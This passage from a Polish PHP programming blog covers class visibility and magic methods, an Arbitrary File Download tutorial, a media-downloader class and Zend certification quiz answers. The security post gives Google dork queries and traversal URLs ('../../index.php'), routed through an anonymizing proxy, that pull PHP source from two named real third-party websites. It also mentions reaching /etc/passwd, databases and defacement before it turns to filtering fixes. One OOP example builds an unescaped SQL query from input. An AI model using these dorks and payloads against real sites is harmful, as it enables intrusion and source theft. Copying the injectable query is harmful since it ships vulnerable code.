$obj->finalFunction($tekst); // zwroci blad, albo zatrzyma dzialanie skryptu z powodu proby nadpisania metody finalnej z klasy bazowej
unset($obj);

$obj 	= new resultClass(); // obiekt wczesniejszej klasy bazowej
$obj->publicFunction($tekst); // zwroci Parametr: argv
$obj->finalFunction($tekst); // zwroci Parametr: argv, poniewaz pomimo ze metoda jest finalna to jest takze typu publicznego
$obj->privateFunction($tekst); // zwroci blad, albo zatrzyma dzialanie skryptu
$obj->protectedFunction($tekst); // zwroci blad, albo zatrzyma dzialanie skryptu poniewaz z zewnatrz klasy bazowej probujemy wywolac metode chroniona

$obj->tryFromInternalPartOfClass($tekst); // odwola sie prawidlowo do kazdej z metod wewnatrz tej wywolywanej
?>

Adekwatnie sprawa miewa się z zmiennymi klasy. Wystarczy przed ich nazwą dodać jeden z pierwszych trzech typów.

data;
	}
}

class czas extends data {
	public function pokazCzas()
	{
		print $this->czas[0];
	}

	public function pokazDzien()
	{
		print $this->dzien;
	}

	public function ustawCzas($czas)
	{
		if ( !isset($this->czas) )
		{
			$this->czas 		= $czas;
		}
	}
}

$obj			= new czas(); // obiekt klasy potomnej

$obj->data		= '10.10.2000'; // zadziala, poniewaz zmienna obiektu klasy jest publiczna
$obj->czas		= array('10', '10', '10'); // nie zadziala, zostanie wywolany blad lub zatrzymanie skryptu gdyz zmienna jest typu chronionego
$obj->dzien		= 'niedziela'; // nie zadziała, zostanie wywolany blad lub zatrzymanie skryptu gdyz zmienna jest typu prywatnego

$obj->pokazDate(); // zostanie wyswietlona data ustawiona w $obj->data
$obj->ustawCzas(array('10', '10', '10')); // ustawi czas w postaci tablicy przekazanej w parametrze ponieważ metoda w klasie dziedziczącej będzie przypisywać tablicę do właściwości chronionej klasy bazowej
$obj->pokazCzas(); // zostanie wyswietlona godzina = 10 (pierwszy element tablicy parametru) o ile zostanie wcześniej wywołana funkcja klasy w postaci $obj->ustawCzas(param)
$obj->pokazDzien(); // nie zostanie wyswietlone nic, gdyz do właściwości $this->dzien nie przekazano nic z racji niemożności zrobienia tego z zewnątrz klasy
?>

Warto byłoby dodać, że zerować, bądź po prostu narzucać wartość właściwością można z trzech poziomów. Z miejsca deklaracji, z konstruktora (o którym poniżej), a także z wnętrza uprawnionych do tego metod.

No i na koniec przykład działania wspomnianego przeze mnie użycia final z klasą:

 klasaBazowa::test';
	}
}

class klasaPotomna extends klasaBazowa {}; // zakonczy sie bledem krytycznym poniewaz nie mozna dziedziczyc po klasie finalnej
?>

Lunch z metodami, właściwościami statycznymi i stałymi…

O definiowaniu stałych w zakresie ogólnym PHP już pisałem. Przybliżę jednak samą kwestię ich użycia w klasach, gdyż tam jest to niewystarczająco poruszone.

Stałe klasy tworzymy poprzez użycie zwrotu const. Stałe mogą być deklarowane w klasach (w tym w finalnych) i interfejsach. Nie mogą być przedefiniowane. Ich wartość musi być stałym wyrażeniem (np. ciągiem znaków, liczbą, itp.). Nie może być za to wartością zmiennej, czy rezultatem operacji matematycznej. Z reguły dla zachowania dobrych nawyków przyjmuje się, że nazwę stałej zapisuje się drukowanymi znakami.

const NAZWA_STALEJ = 'wartosc';

Do stałej domyślnie w klasie odnosimy się poprzez słowo self i operator zasięgu ::. Pod względem użytkowania sprawa miewa się adekwatnie jak w przypadku opisywanego wyżej parent::. Funkcjonalnie self:: daje dostęp do metod i pól statycznych w danej klasie. Takowym, uogólniając jest stała. W klasach potomnych odniesienie do stałej w klasie bazowej odbywa się tak samo, ale za pomocą wspomnianego już parent::.

Z poza klasy mając wersję PHP niższą niż 5.3 możemy operować na tego typu zasobach poprzez operator statyczności lub poprzez wskaźnik obiektu na opcjonalną metodę zwracającą wartość stałej. W wersji w.w. można odwołać się bezpośrednio poprzez obiekt klasy bądź statycznie poprzez przypisaną do zmiennej nazwę klasy.

pobierzStalaBazowa(); // zwroci normal done
$obj_f->pobierzStala(); // zwroci final done poniewaz zwyczajnie w klasie finalnej tez mozna w skrypcie uzywac stalych
print klasaPochodna::PRE; // wyświetli zawartość stałej z klasy potomnej (jeżeli jej nadrzędnym element byłby interfejs to akcja ta zakończyłaby się błędem lub zatrzymaniem skryptu)
print $obj->pobierzStalaZKlasyBazowej(); // zwroci normal done jako przyklad uzycia stalej z klasy bazowej w klasie dziedziczacej
?>

Dlaczego powinno używać się stałych klasowych, a nie zwykłych definiowanych poprzez funkcję define(params);? Z dwóch powodów. Estetycznego – systematyzują kod. I co ważniejsze – optymalnego, gdyż działają szybciej niż te pierwotne.

Co do statyczności w PHP5 jest ona przestrzegana bardziej restrykcyjnie. Nie można już wywoływać każdej metody, czy właściwości statycznie. Trzeba przed nazwą funkcji klasy i function dodać static, podobnie jest w wypadku zmiennych z tymże przed ich nazwą. W metodach statycznych można używać tylko statycznych pól, a przy odwoływaniu się do zasobów statycznych nie należy robić tego w postaci notacji obiektowej. Elementy tego typu podlegają także zasadą kapsułkowania. Pola za to nie wymagają tworzenia instancji obiektu. Wystarczy posłużyć się nazwą klasy w skrypcie, a jak już wspomniałem w bazowej i dziedziczonych klasach odpowiednio są to self:: i parent::.

zaladujMiasto('Londyn'); // zwroci Miasto: Londyn, gdyz dostep do wlasciowsci statycznej odbywa sie w metodzie z wnetrza klasy
?>

Reasumując podstawową zaletą jest fakt, że nie potrzeba tworzyć instancji w celu skorzystania z statycznych zasobów (elementy w stylu $instancja->, czy $this-> nie zadziałają). Przydaję się to w wielu różnych, bardziej zaawansowanych zastosowaniach, np. przy tworzeniu singletonu, o czym w następnej części kursu.

Co dziś dobrego na obiad? Konstruktory i destruktory…

Zasada działania konstruktora i destruktora klasy jest bardzo prosta. Są to dwie wbudowane w PHP5 metody wywoływane automatycznie, pierwsza po utworzeniu obiektu, a druga po jego zniszczeniu (po załadowaniu strony bądź poprzez użycie unset($var);). Co za tym idzie żadna z nich nie jest wywoływana przy użyciu statycznego odwołania i bez wykreowania instancji obiektu.

Konstruktor tworzymy poprzez nadanie metodzie nazwy __construct(params), a destruktor __destruct(). Możemy, lecz w tym wypadku nie jesteśmy do tego koniecznie zobligowani nadać tym metodą typ (np. publiczny).

Do czego mogą się przydać te dwie funkcje? Wszystko zależy od potrzeb, ale mogą np. do zerowania pól, otwierania, zamykania różnego rodzaju połączeń, czy tworzenia lub niszczenia innych obiektów.

Ciąg dalszy metod magicznych na kolacje…

Jest pewien zbiór metod wbudowanych w OOP piątej wersji PHP, w tym __construct() i __destruct(), które są predefiniowane do specyficznego użycia i nie można ich nazewnictwa powielać w klasach (dokumentacja zaleca także, aby przy tworzeniu metod nie rozpoczynać ich nazwy od __, gdyż w przyszłości może pojawić się więcej opisywanych właśnie zasobów rozpoczynających się od takiego ciągu).

user_id 		= array(
			'name'		=> 'vivee'
			);

		$this->fn 			= $filename;
    	$this->mode 		= $mode;
    	$this->handle 		= fopen($this->fn, $this->mode);
	}

	public function __destruct()
	{
    	fclose($this->handle);
    }

	public function __sleep()
	{
		$this->user_id['name']	= 'm1chu';
		return array('user_id'); // zwracamy tablice zmiennych do ponownego zaladowania po deserializacji
	}

	public function __wakeup()
	{
		$this->user_id['stat']	= 'working...';
	}

	public function __call($name, $params)
	{
		print 'Wywołano nieistniejącą metodę ' . $name . ' o parametrach: ';
		if ( $params[0] != '' )
		{
			$counted_params		= count($params);
			for ( $i = 0; $i < $counted_params; ++$i )
			{
				print ( $i > 0 ? ', ' . $params[$i] : $params[$i] );
			}
		}
		else {
			print 'brak';
		}
	}

	public function __clone()
	{
		$this->handle 		= fopen($this->fn, $this->mode);
	}

	public function __get($pole)
	{
		print 'Wywołano nieistniejące pole: ' . $pole;
	}

	public function __set($name, $value)
	{
		mysql_query('INSERT INTO logs (log_name, log_val) VALUES(\'' . $name . '\', \'' . $value . '\')');
		print 'Próbowano przypisać do nieistniejącej właściwości ' . $name . ' wartość ' . $value;
	}

	public function __isset($var)
	{
		print 'Zmienna ' . $var . ' nie została ustawiona';
	}

	public function __toString()
	{
		return 'Nie ma dostepu do obiektu :D';
	}

	public static function __set_state($array)
    {
    	$temp_obj			= new magiczneMetody();
    	$temp_obj->temp1	= $array['temp1'];
    	$temp_obj->temp2	= $array['temp2'];
    	return $temp_obj;
    }
}

function __autoload($class)
{
	require './klasa.php';
}

$obiekt		= new magiczneMetody('file.txt', 'r+');

// zasada dzialania __sleep() i __wakeup()
print_r($obiekt); // zwroci: magiczneMetody Object ( [user_id:private] => Array ( [name] => vivee ) )
$serialized 		= serialize($obiekt); // wywolanie przed serializacja metody magicznej __sleep()
print_r(unserialize($serialized)); // zwroci: magiczneMetody Object ( [user_id:private] => Array ( [name] => m1chu [stat] => working... ) ) 

// zasada dzialania __call()
$obiekt->bezParametru(); // nieistniejaca metoda, zwroci: Wywołano nieistniejącą metodę bezParametru o parametrach: brak
$obiekt->zParametrami(1, true, 'string'); // nieistniejaca metoda, zwroci: Wywołano nieistniejącą metodę zParametrami o parametrach: 1, 1, string

// zasada dzialania __clone()
$clone			= clone $obiekt; // sklonowanie obiektu wraz z wywolaniem nowego strumienia do zasobu

// zasada dzialania __get()
print $obiekt->nieistniejacePole; // nie istnieje taka własciwosc w klasie, zostanie wywolana metoda __get(param)

// zasada dzialania __set()
// polaczenie z baza danych (dla przykladu MySQL)
$obiekt->username	= 'vivee'; // nie istnieje taka wlasciowsc w klasie, a poniewaz staramy sie do niej cos przypisac to zostanie wywolana metoda __set(params)
// koniec polaczenia z baza danych

// zasada dzialania __isset()
isset($obiekt->username); // zwroci Zmienna username nie została ustawiona

// zasada dzialania __toString()
print $obiekt; // zrzutowanie na ciag znakow obiektu wiec zostanie wywolane __toString()

// zasada dzialania __set_state()
$obiekt->temp1		= 'test';
$obiekt->temp2		= 'test drugi';
$obiekt2 = var_export($obiekt, true);
var_dump($obiekt2); // wyswietli string(206) "magiczneMetody::__set_state(array( 'user_id' => array ( 'name' => 'vivee', ), 'fn' => 'file.txt', 'mode' => 'r+', 'handle' => false, 'temp1' => 'test', 'temp2' => 'test drugi', ))" 

// zasada dzialania funkcji __autoload()
$nieistniejaca_klasa 	= new jakasKlasa(); // nastepuje proba stworzenia instancji niedostepnej klasy - PHP poprzez __autoload() postara sie zaincludowac plik z klasa i ponownie utworzyc obiekt
$nieistniejaca_klasa->istniejacaMetoda(); // jesli uda sie utworzyc obiekt zostanie wywolana nastepujaca metoda
?>

Do poduszki – metodyka postępowania wstępnego…

Dziwnie to wygląda, ale na koniec wypadałoby napisać kilka zdań o tym jak w ogóle podejść do programowania obiektowego. Bo pisanie klas to nie tylko bezmyślne trzepanie kodu w postaci metod tak, żeby później można to było z marszu i masowo użyć poprzez instancję obiektu klasy.

Jeśli pracujesz nad dużym projektem, to prawdopodobnie wiesz co robić. Dokumentacja i od cholery konstruktywnych komentarzy w kodzie. Pomimo, że OOP w przypadku podziału pracy na kilka osób ma na celu ułatwienie pracy w taki sposób, aby nie musiało się przeglądać całego kodu napisanego przez współtowarzysza a jedynie skorzystać z stworzonych przez niego metod i pól to niekiedy nie można zrobić czegoś inaczej niż modyfikując kod współpracownika.

W mniejszych projektach, szczególnie tych gdzie programuje tylko jedna osoba jestem za tym, żeby nie marnować niepotrzebnie kartek papieru i próbować tworzyć układając plan w głowie. Wystarczy przecież logicznie myśleć. Wiem, że dla niektórych wydaje się to abstrakcyjne. Dla mnie też było, gdy zaczynałem. Musicie po prostu napisać kilka skryptów, kilka tysięcy linijek kodu i zrozumiecie o co chodzi. Podstawą jest wyrobienie sobie swojego stylu pisania na podstawie aktualnych dogmatów tworzenia kodu. Pamiętajcie, że zarówno w obiektowym programowaniu w PHP, jak i zresztą w każdej dziedzinie życia sucha i niekiedy bezsensowna teoria nigdy nie nauczy Was tyle co własna praktyka. Może jedynie być informacyjnym preludium do Waszej dalszej, indywidualnej nauki, czy pracy…

Mam nadzieję, że wybaczycie mi trochę powtórzeń (i zarazem wszelkie pomyłki), niestety w większości były niezbędne do opisu poruszanej problematyki. Niedługo kolejna część o programowaniu zorientowanym obiektowo.

Jak zabezpieczyć skrypt PHP/MySQL? Część 1: luka Arbitrary File Download (AFD)

m1chu — Wed, 10 Sep 2008 23:05:50 +0000

Postanowiłem podejść do sprawy zabezpieczeń w wielu wpisach. Pisanie o bezpieczeństwie w jednym byłoby długie i cholernie monotonne. Zaczniemy więc tym razem niestandardowo, bo od ataku typu Arbitrary File Download (szczerze większej publikacji o tym nie znalazłem) – z reguły rzadszym, ale bardzo niebezpiecznym, a to wszystko jak sama nazwa mówi z powodu możliwości ściągnięcia dowolnego pliku na serwerze na którym wykonywany jest odpowiedni plik php.

Tłumacząc na polski nazwę tej luki otrzymalibyśmy mniej lub bardziej dosłownie translację w stylu „Pobieranie dowolnego pliku”. Stąd moje krótkie tłumaczenie w powyższym paragrafie.

Z teoretycznego punktu widzenia dokładniej wygląda to tak, że za pomocą parametru w adresie pliku przeznaczonego do ściągania innych plików z serwera możemy spreparować tak adres, aby pozwolił on nam ściągnąć pliki domyślnie przez programistę nieprzeznaczone do takiego zabiegu. Wiąże się to niedostateczną, a najczęściej po prostu z brakiem filtracji elementu (np. zmiennej) odpowiedzialnego za pobieranie argumentu.

Pokażę prosty przykład pliku (nazwijmy go download.php) który jest podatny na tego typu atak:

I pomimo, że intencją programisty było ściąganie dzięki temu plikowi np. dokumentów PDF, to my dzięki jego niefrasobliwości bez problemu możemy wykorzystać go do… pobierania pozostałych plików PHP. Co najważniejsze – nieprzeparsowanych! Po prostu czysty kod PHP w takiej formie jaką twórca strony umieścił na serwerze. Jedyne co nas w tym wypadku ogranicza to funkcja readfile która standardowo nie nadaje się do pobierania dużych plików, a także czas wykonywania skryptu i wielkość bufora ustawiona w pliku konfiguracyjnym PHP.

Wracając do przykładów. Na wyimaginowanym odnośniku powiedzmy linkującego do dokumentu PDF wyglądało by to tak:

www.strona_internetowa.pl/catalog/download.php?file=specyfikacja.pdf

Pierwsza myśl która Wam może przyjść do głowy to podmienić po prostu specyfikacja.pdf na inny plik. Standardowo mógłby być to index.php, gdyż ściągając jego zawartość otrzymamy informację o nazwach innych powiązanych z nim plików. Niekoniecznie jednak plik ten musi się znajdować w tym samym katalogu co download.php, czy specyfikacja.pdf.

W pierwszym przypadku widzimy, że plik PHP którym ściągamy pozostałe źródła znajduje się w podkatalogu. Dlatego dla pewności możemy wypróbować dwa spreparowane linki:

www.strona_internetowa.pl/catalog/download.php?file=index.php // plik znajdowałby się wtedy pod /catalog/index.php
www.strona_internetowa.pl/catalog/download.php?file=../index.php // plik znajdowałby się wtedy bezpośrednio w strona_internetowa.pl/index.php

W drugim punkcie sprawa wygląda tak, że plik specyfikacja.pdf nie musi się znajdować w tym samym katalogu co download.php pomimo, że w odnośniku nie jest podana do niego inna ścieżka. Wystarczy, że twórca strony w w.w. przeze mnie kodzie zmieni linijkę z readfile (a także linię odpowiedzialną za pobieranie wielkości pliku) na:

W takim wypadku jego pliki PDF są po prostu ściągane z:

www.strona_internetowa.pl/catalog/podkatalog/kolejny/

I tu rodzi się kolejne rozwiązanie – używanie przejść do katalogów nadrzędnych. Jeśli w tym wypadku chcielibyśmy ściągnąć index.php z głównego katalogu to wystarczy po prostu wpisać taki adres w przeglądarce:

www.strona_internetowa.pl/catalog/download.php?file=../../../index.php

Spytacie może:

W takim bądź razie skąd ja mam wiedzieć, gdzie wreszcie znajduje się ten mój pożądany plik?

Jeśli zaczynasz się w to bawić to najprościej będzie robić to metodą prób i błędów poprzez przejścia do podkatalogów i katalogów nadrzędnych. Jeżeli któreś z kolei nie zadziała to albo skrypt jest zabezpieczony, albo po prostu nie ma dostępu do pliku którego szukasz na serwerze (tak może być niekiedy z poszukiwaniem np. systemowego /etc/passwd). Innym sposobem jest użycie jakiegoś downloadera plików w stylu wget, czy innych Windowsowych zamienników, po czym analiza struktury katalogów serwisu. Zabieg w miarę prosty (chodzi o użytkowanie tych narzędzi) więc chyba tłumaczyć nie muszę.

Jak to wygląda już tak kompletnie w praktyce życiowej. Wiele osób twierdzi, że nie jest łatwo znaleźć taki błąd. Fakt, co nie zmienia faktu, że nie jest to niemożliwe. Specjalnie dla Was dzisiaj w nocy za pomocą Google wyszukałem pięć stron podatnych na ten atak. Jedną z nich wybiorę jako przykład ukazania wyszukania strony, błędu i ostatecznie jego edukacyjnego użycia.

1. Przeszukujemy Google…

Możemy to oczywiście zrobić na różne sposoby. Osobiście użyje tejże wyszukiwarki, a stronę znajdywać będę poprzez frazy wyszukiwania, np. takie:

inurl:.eu (getfile.php OR get.php OR file.php OR download.php)
inurl:home.pl (getfile.php OR get.php OR file.php OR download.php)

Tłumacząc, zostaną wyszukane wszelkie zindeksowane strony w domenie .eu (europejskiej) lub home.pl z co najmniej jednym plikiem podanym w nawiasie. Oczywiście można rzucić światło imaginacji i podać więcej plików które mogłyby być podanym wyżej przeze mnie źródłem ściągania, ale nam wystarczą tylko te.

2. Znalezienie celu…

Już na pierwszej stronie pierwszej frazy, i drugiej stronie drugiej frazy możemy znaleźć obiekty potencjalnie narażone na atak.

http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=./issues/2007-12/MohrContiniUK.pdf

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=AGP_notka_prasowa.doc

3. Spreparowanie parametru…

Wystarczy tylko wejść pod jeden z tych adresów i spróbować ściągnąć dla przykładu index.php. Co się rzuca od razu w oczy to fakt, że w drugim przypadku prawdopodobnie plik przez nas pożądany będzie znajdować się dwa katalogi wyżej niż aktualnie jesteśmy.

http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=index.php

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../index.php

4. Co dalej?

No właśnie. Nie zrobię Wam tu do końca kursu jak włamać się komuś na stronę. Bo posiadając dostęp do plików można bez problemu dostać się do bazy (o ile takowa istnieje), a co za tym idzie po prostu zostawić „OWNED” (o phishingowym wykorzystaniu chyba nie trzeba wspominać). Powiem tylko tyle, że znając PHP można bez problemu w takim momencie poznać strukturę plików, z tym co napisałem powyżej także ściągnąć je, a w tym te odpowiadające za konfiguracje czy hasła.

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../skins/default.skin.php // inny przykład linku wyciągniętego z źródła index.php
http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=download.php // ściągnięcie pliku download.php

Na koniec kwestia która jest priorytetem i kulminacją tego wpisu.

Jak się do ku**y zabezpieczyć przed tym?!

Przede wszystkim należy filtrować dane. Zawsze należy, bo nawet jak nie trzeba to prócz większej ilości operacji nic więcej się serwisowi nie stanie z tego powodu. Taka drobna dygresja. Pytanie brzmi, jak to zrobić?

I tu już wszystko zależy od inwencji webmastera. Pokaże dwa przykłady w zależności od podawanego argumentu.

Ściąganie pliku poprzez ID i wykorzystanie bazy danych MySQL.

Przede wszystkim musimy utworzyć prostą tabelę. Zakładam, że wszystkie pliki będą się znajdować w jednym katalogu (powiedzmy download).

CREATE TABLE files ( file_id SMALLINT UNSIGNED PRIMARY KEY AUTO_INCREMENT, file_name VARCHAR(255) NOT NULL ) COMMENT = 'file_id; 0-65535; klucz glowny : file_name; 0-255; nie pusty', MAX_ROWS = 65535;

Nasz zabugowany wyżej plik możemy zamienić na coś takiego (użyłem czystych funkcji PHP dla MySQL, jeśli ktoś zna rozszerzenie MySQLi albo moduł PEAR DB to nie będzie miał problemu z przepisaniem sobie tego):

Należy pamiętać, że ważnym aspektem zachowania bezpieczeństwa jest także odpowiednia filtracja przy dodawaniu rekordów z nazwami plików do bazy.

Ściąganie pliku po jego nazwie.

Tym razem zabezpieczenie będzie trzeba zrobić bardziej intuicyjnie i oparte tylko na odpowiednim filtrowaniu. Wszystko zależy tutaj od tego skąd chcemy ściągać pliki. Przede wszystkim powinniśmy zabronić jakiegokolwiek pobierania z katalogów nadrzędnych, a także z katalogów podrzędnych w których znajdują się pliki będące integralną częścią strony. Najwygodniej oczywiście byłoby ustawić jeden, konkretny katalog do ściągania. Nie mniej jednak my skupimy się na ograniczeniu do n-tej ilości podkatalogów. Ostatecznie należy pamiętać także, aby w katalogach do których będzie miał dostęp użytkownik z poziomu skryptu pobierającego nie było plików innych niż zdatne do takiego ściągnięcia, no i ewentualnie index.html z pustą stroną.

Zasada powyższego, przykładowego skryptu jest prosta. Filtrujemy w trzech poziomach. Zmieniając encje na znaki usuwamy ciąg ../ z adresu. Sprawdzamy opcjonalnie adres do pliku wg. zadanego przez nas wzorca (o ile takowy podamy) i ostatecznie porównujemy rozszerzenie pliku z dozwolonymi przez nas osobiście rozszerzeniami. Przykładem wzorca dla wyrażenia regularnego będzie np.:

$pattern				= '/^([a-zA-Z0-9\_\-]+)\\.([a-z0-9]{2,4})$/';

Pozwala ono na ściąganie dowolnego pliku zawierającego w sobie duże i małe litery, cyfry oraz znaki _ i -, a także rozszerzenie będące małymi literami i/lub cyframi o długości od dwóch do czterech znaków.

Na koniec przekazuje kilku minutowy filmik obrazujący znalezienie i użycie błędu. Zapraszam tutaj.

Uprzejmie proszę też o komentarze, jak wygląda ten tutorial, czy jest przydatny i przede wszystkim czy taka forma i taka ilość informacji będzie odpowiednia dla przyszłych artykułów z tego zakresu.

PS: wszelkie znalezione i ukazane błędy zostały przedstawione tylko i wyłącznie w formie edukacyjnej. Nie odpowiadam za formę wykorzystania ich przez użytkowników. Błędy zgłosiłem twórcom stron, więc prędzej czy później mogą one zostać załatane. Proszę o rozsądne ich wykorzystanie przy kształceniu własnych możliwości i NIE NISZCZENIE pracy autorów tych stron..

mymedia.class.php – klasa służąca do pobierania plików z wrzuta.pl, youtube.com i owned.com

m1chu — Tue, 24 Jun 2008 20:07:33 +0000

Siedziałem sobie wczoraj w nocy wyrwany w połowie pisania frameworka pod pewien projekt zastanawiając się co tu można by było dla rekreacji zrobić. Skacząc od strony do strony napotkałem kilka rozwiązań obsługi ściągania plików z serwisu wrzuta.pl. Przykładem takiego skryptu może być ten umieszczony na ninfo.pl, który ostatecznie przekonał mnie do napisania małej klasy obsługi serwisów emitujących multimedia. Szybko zapoznałem się z skryptem, następnie komentarzami na powyższej stronie i imaginując sobie w głowie działanie mojej przyszłej klasy przystąpiłem do pisania…

Szczytem optymalizacji ona na pewno nie jest, nie mniej jednak starałem się szybko testować różne rozwiązania, aby chociaż po części wykorzystać te bardziej korzystne elementy PHP (pomimo, że lepiej byłoby do takich celów zastosować inne języki programowania). Wykorzystując m.in obsługę wyjątków zmuszam bezpośrednio wszystkich potencjalnych użytkowników do instalacji klasy na serwerach z PHP5. Po za tym specyfika generowania linków na serwisach Wrzuta i YouTube spowodowała, że musiałem napisać dwie typy metod pobierających te linki:

opierającą się na pobraniu nagłówków zgodnych z ID (aktualnie dla Wrzuty),
wykorzystującą cURL’a w celu pobrania zawartości strony i z jej zawartości generującą link (aktualnie dla YouTube-a).

Fakt ten powoduje, że wraz z PHP5 musi być dostępna obsługa biblioteki cURL.

Pewnie co poniektórym osobom nasunęła się przed chwilą myśl w stylu: „co za kretyn! cURLem pobiera całą stronę…”. Faktycznie pomysł jest dość zasobożerny. Przetestowałem jednak na współdzielonej maszynie użycie curl_exec();, fsockopen(); i file_get_content();. Z kilku przeprowadzonych po sobie testów wynikło, że pierwsza funkcja jest o około 0,2 sekundy szybsza niż dwie kolejne. Wyników oczywiście nie mogę potwierdzić dla każdego przypadku i każdej maszyny, ale w moim wypadku wybór był jednoznaczny. Nie mniej jednak jeśli ktoś ma jakieś konstruktywne propozycje na temat innej obsługi „wyciągania” linków z YouTube-a – zapraszam do komentowania pod wpisem.

Na koniec tego teoretycznego wstępu warto chyba odpowiedzieć, dlaczego wybrałem akurat te i tylko te dwa serwisy? Odpowiedź jest prosta. Po pierwsze dlatego, że wszędzie napotykałem jak już tylko na rozwiązania dotyczące serwisu Wrzuta (i to dla plików audio). Podobnych dla YT nie znalazłem (możliwe, że źle szukałem ;]). Dlaczego tylko te dwa broadcastery? Domniemam, że sporą część przynajmniej tych najbardziej nam, Polakom znanych da się obsłużyć poprzez działanie na nagłówkach, bądź zawartości strony. Dlatego dwie służące do tego metody mogą w przyszłości posłużyć do obsługi innych tego typu stron. Możliwe, że pod OWS-em wraz z resztą załogi poprawimy, zoptymalizujemy i rozwiniemy klasę… kiedyś ;]

Ze strony praktycznej pierwsze co powinno się zrobić, to ściągnąć kod klasy z mojego małego repozytorium. Jak widać zawarłem tam kilka zdań i przykładów, skrupulatniej omówionych niż tutaj.

Po ściągnięciu należy zainkludować plik klasy po czym utworzyć jej nową instancję.

// wywołanie obsługi wyjątków w celu ewentualnego wyłapania błędu
try {
$instance			= &mymedia::getInstance(); // wywołanie metody wzorca singletona
$instance->downloadFile('763DcD2d6w', 'wrzuta', 'audio', true, ''); // metoda wywoływana w celu ściągnięcia pliku
}
catch ( Exception $exception )
{
print 'Exception: ' . $exception->getMessage() . ' on line ' . $exception->getLine();
}

Tworzenie instancji, jak i wywoływanie metody odbywa się w bloku obsługi wyjątków, ponieważ w przeciwnym wypadku na nic zdałoby się samo ich rzutowanie wewnątrz klasy. Dzięki temu w wypadku popełnienia błędu w podanych parametrach, bądź nie istnienia pliku na serwerze skrypt nas o tym powiadomi.

Cała zabawa dla programisty ogranicza się do użycia metody $instance->downloadFile(args); przyjmującej od jednego do pięciu argumentów.

$instance->downloadFile(id_pliku, nazwa_serwisu[aktualnie: wrzuta|youtube], typ_pliku[aktualnie: audio|video|image], ściągnąć_plik[aktualnie: true|false], nazwa_pliku_przy_sciagnieciu[aktualnie: wrzuta]);

Przykład obrazujący wywołanie:

print $instance->downloadFile('4kv29vXZqpk', 'youtube', 'video', false); // zostanie wyświetlony tylko bezpośredni link do pliku na ekranie

Sugestie, czy zauważone błędy proszę kierować w komentarzach.

Edycja 09.08.08:
Zapraszam do ściągania wersji 1.1. Zawarłem w niej trzy poprawki i dodałem obsługę serwisu owned.com. Jedna z poprawek wymaga teraz, aby w wypadku ponownego użycia klasy w czasie jednego przeładowania strony i występowania nieprawidłowych wyników użyć samemu po każdym wywołaniu metody ściągającej funkcję czyszczącą zmienne klasy (wg. przykładu $instance->flush();). Więcej informacji zawarłem tutaj.

Uruchomiłem także specjalną testową stronę na której można obejrzeć działanie klasy w praktyce.

Zend PHP 5 Certification – Self Test – omówienie pytań…

m1chu — Sun, 11 May 2008 23:26:38 +0000

Tak się składa, że zamierzam od drugiej części przyszłego miesiąca zmienić kilka rzeczy związanych z moimi zamiłowaniami do programowania. I właśnie jedną ze zmian ma być zapisanie się na certyfikat Zend’a, który to sugeruje aby przed podjęciem wyzwania egzaminacyjnego napisać wstępny, składający się z 8śmiu pytań test. Poziom jego zaawansowania jest ponoć zbliżony do normalnego egzaminu, dlatego jest on dobrym wyznacznikiem do sprawdzenia swojej osoby, czy nadaje się ona do podjęcia walki o otrzymanie tegoż certyfikatu. Jak wyglądają pytania z PHP5? Które odpowiedzi są poprawne i dlaczego? I jaki wynik uzyskałem? Jeśli chcecie poznać odpowiedzi na te pytania, czytajcie dalej :D

Po pierwsze należy wspomnieć, że cały test jest po angielsku, dlatego w takim języku podam pytania. Swoje umiejętności w nim możecie sprawdzić tutaj. Zanim zacznę rozwodzić się na temat jego rozwiązywania zalecam Wam podjęcie go przez doczytaniem tego wpisu do końca. Przecież nie chodzi tutaj o oszukiwanie samych siebie, a o sprawdzenie się – nikt z Was z tego rozliczać nie będzie.

Pytanie I. How can precisely one byte be read from a file, pointed by $fp?
1. fseek($fp, 1)
2. fgets($fp, 1)
3. fgetss($fp, 1)
4. fgetc($fp)
5. All of the above

Pierwsza odpowiedź – fseek() powoduje przesunięcie wskaźnika na miejsce wyznaczone przez drugi parametr. Funkcje – fgets() i fgetss() pobierają ciąg znaków z pliku o długości podanym w drugim parametrze, z tymże druga z nich usuwa tagi HTML w locie. Dlatego poprawny jest 4 wybór.

Pytanie II. What object method specifies post-deserialization behavior for an object?
1. __sleep()
2. __wakeup()
3. __set_state()
4. __get()
5. __autoload()

Trzy ostatnie metody magiczne możemy skreślić na wstępie. Mianowicie __get() ułatwia dostęp do elementów wewnątrz klasy, __autoload() zostaje wywołane automatycznie w wypadku próby zainicjowania klasy dotychczas niezdefiniowanej, no i ostatecznie najbardziej tajemnicze __set_state() wywoływane dla wyników wyeksportowanej instancji klasy poprzez var_export(). Zostają nam więc:

__sleep() – istnienie tej funkcji sprawdzane jest przed każdą serializacją wywoływaną funkcją serialize(),
__wakeup() – istnienie tej funkcji w klasie sprawdzane jest przed każdą deserializacją wywoływaną funkcją unserialize().

Wybór chyba jest już oczywisty.

Pytanie III. Where does the session extension store the session data by default?
1. SQLite Database
2. MySQL Database
3. Shared Memory
4. File System
5. Session Server

Standardowo dane sesji przechowywane są w plikach. Nie mniej jednak za pomocą funkcji session_set_save_handler i jej parametrów możemy utworzyć odniesienia do nich umożliwiające przetrzymywanie danych sesji np. w bazie danych.

Pytanie IV. Which of the following data types cannot be directly manipulated by the client?
1. Cookie Data
2. Session Data
3. Remote IP Address
4. User Agent

Spośród tych czterech elementów tylko dane sesji przetrzymywane są po stronie serwera, także bez odpowiednio przygotowanego skryptu wykonywanego po stronie serwera nie ma możliwości dostępu do manipulacji tymi danymi. Nie mniej jednak nie jest to już dostęp bezpośredni.

Pytanie V. What is the difference between isset() and other is_*() functions (is_alpha(), is_number(), etc.)?
1. isset() is a function call and is_*() are not function calls
2. is_*() are language constructs and isset() is not a language construct
3. isset() is a language construct and is_*() are not language constructs
4. is_*() return a value whereas isset() does not

